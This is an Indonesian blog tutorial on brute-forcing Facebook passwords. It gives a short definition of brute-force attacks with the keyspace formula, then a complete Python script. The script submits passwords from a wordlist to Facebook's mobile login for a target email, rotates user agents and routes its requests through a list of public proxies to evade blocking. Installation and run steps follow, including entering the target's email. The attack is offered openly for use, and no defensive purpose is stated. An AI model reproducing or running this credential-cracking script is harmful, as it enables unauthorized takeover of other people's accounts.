Home » , » Pengertian dan cara membuat script brute force facebook

Pengertian dan cara membuat script brute force facebook


Hallo sobat, kali ini saya akan berbagi ilmu tentang Cara membuat script brutrforce facebook sendiri,Sebelum meniju ke tutorial lebih baiknya kita mengetahui pengertian bruteforce
Brute Force Attack adalah metode untuk meretas password (password cracking) dengan cara mencoba semua kemungkinan kombinasi yang ada pada “wordlist. Metode ini dijamin akan berhasil menemukan password yang ingin diretas. Namun, proses untuk meretas password dengan menggunakan metode ini akan memakan banyak waktu. Lamanya waktu akan ditentukan oleh panjang dan kombinasi karakter password yang akan diretas.
Brute Force Attack menggunakan formula sebagai berikut:KS = L(m) + L(m+1) + L(m+2) + … + L(M)Keterangan:L = Jumlah karakter yang kita ingin definisikanM = Panjang maksimum kata kuncim = Panjang minimum kata kunci
Contoh jika kita ingin meretas password dengan panjang password 5 karakter dan hanya menggunakan kombinasi huruf kecil (‘a’ – ‘z’ = 26), maka Brute Force Cracker harus mencoba KS = 261 + 262 + 263 + … + 265 = 12356721 kata yang berbeda.Istilah Brute Force sendiri di populerkan oleh Kenneth Thomson, dengan mottonya “When in doubt, use brute-force” (jika rugu, gunakan brute-force).Brute Force dapat digunakan untuk meretas password secara offline maupun online, namun kombinasi karakter password yang panjang terkadang membuat seorang attacker putus asa lalu menghentikan serangannya sehingga membuat metode ini menjadi sia-sia.Nah itulah pengertian tentang Brute Force ,Selanjutnya kita menuju ketutorial pembuatan brute force.
 python module yang akan di gunakan pada tutorial kali ini adalah
  • Requests
  • Bs4


    paste spcrit dibawah di quick editor maupun aplikasi sejenis nya
    #!/bin/usr/python
    import requests
    from bs4 import BeautifulSoup
    import time
    import os
    import random
    sleep = time.sleep
    
    user_agent_list = [
       #Chrome
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36',
        'Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36',
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
        #Firefox
        'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)',
        'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
        'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)',
        'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko',
        'Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko',
        'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko',
        'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)',
        'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko',
        'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko',
        'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
        'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
        'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
    ]
    
    proxies_list = [
        'http://10.10.1.10:3128',
        'http://77.232.139.200:8080',
        'http://78.111.125.146:8080',
        'http://77.239.133.146:3128',
        'http://74.116.59.8:53281',
        'http://67.53.121.67:8080',
        'http://67.78.143.182:8080',
        'http://62.64.111.42:53281',
        'http://62.210.251.74:3128',
        'http://62.210.105.103:3128',
        'http://5.189.133.231:80',
        'http://46.101.78.9:8080',
        'http://45.55.86.49:8080',
        'http://40.87.66.157:80',
        'http://45.55.27.246:8080',
        'http://45.55.27.246:80',
        'http://41.164.32.58:8080',
        'http://45.125.119.62:8080',
        'http://37.187.116.199:80',
        'http://43.250.80.226:80',
        'http://43.241.130.242:8080',
        'http://38.64.129.242:8080',
        'http://41.203.183.50:8080',
        'http://36.85.90.8:8080',
        'http://36.75.128.3:80',
        'http://36.81.255.73:8080',
        'http://36.72.127.182:8080',
        'http://36.67.230.209:8080',
        'http://35.198.198.12:8080',
        'http://35.196.159.241:8080',
        'http://35.196.159.241:80',
        'http://27.122.224.183:80',
        'http://223.206.114.195:8080',
        'http://221.120.214.174:8080',
        'http://223.205.121.223:8080',
        'http://222.124.30.138:80',
        'http://222.165.205.204:8080',
        'http://217.61.15.26:80',
        'http://217.29.28.183:8080',
        'http://217.121.243.43:8080',
        'http://213.47.184.186:8080',
        'http://207.148.17.223:8080',
        'http://210.213.226.3:8080',
        'http://202.70.80.233:8080',
    ]
    URL = 'https://m.facebook.com/login'
    sleep(2)
    print ('Example : kadal15@yahoo.co.id')
    email = input('Masukkan Email Anda : ')
    sleep(1)
    sandi = input('Masukkan Password.txt : ')
    passw = open(sandi, 'r')
    print ('Try To Crack')
    def br():
       for password in passw:
           form_data = {'email' : email,
                        'pass' : password
                       }
           user_agent = random.choice(user_agent_list)
           headers = {'User-Agent': user_agent}
           proxies_a = random.choice(proxies_list)
           proxies = {'http': proxies_a}
           with requests.Session() as c:
               c.get(URL, headers=headers, proxies=proxies)
               r = c.post(URL, data=form_data, headers=headers, proxies=proxies)
               b = c.get('https://m.facebook.com/home.php', headers=headers, proxies=proxies)
               soup = BeautifulSoup(b.content, 'html.parser')
               a = soup.find('title')
               if(str(a) == '<title>Masuk Facebook | Facebook</title>'):
                    print ('Mencoba', password,end="", flush=True)
                    print ('\r', end="", flush=True)
               else:
                    print ('Mencoba', password, end="", flush=True)
                    sleep(1)
                    print ('Login Succes\n')
                    print ('Password Adalah ' + password)
                    exit()
    
       print ('Passowrd.txt Habis Silahkan Coba Lagi')
    
    br()

    Silahkan save dengan format namafile.py 
    Sebelum agan menjalankan script ini agan harus install dulu module requests dan bs4
    cara nya ketik saja di termux atau terminal lainnya

    pip install requests 
    pip install bs4
    Kalian  juga harus punya password.txt nya dulu, kalian bisa mendownload nya Disini
    setelah semuanya lengkap jalankan perintah dengan cript ini

    python namafile.py

    Masukkan email target dan masukkan trmpat naruh password.txt
    Hasilnya akan seperti gambar di atas, Mudah bukan.

    selamat anda sudah bisa membuat script bruteforce facebook milik anda sendiri.Terima Kasih sudah berkunjung jangan lupa baca artikel lainnya tentang termux.

    0 komentar:

    Post a Comment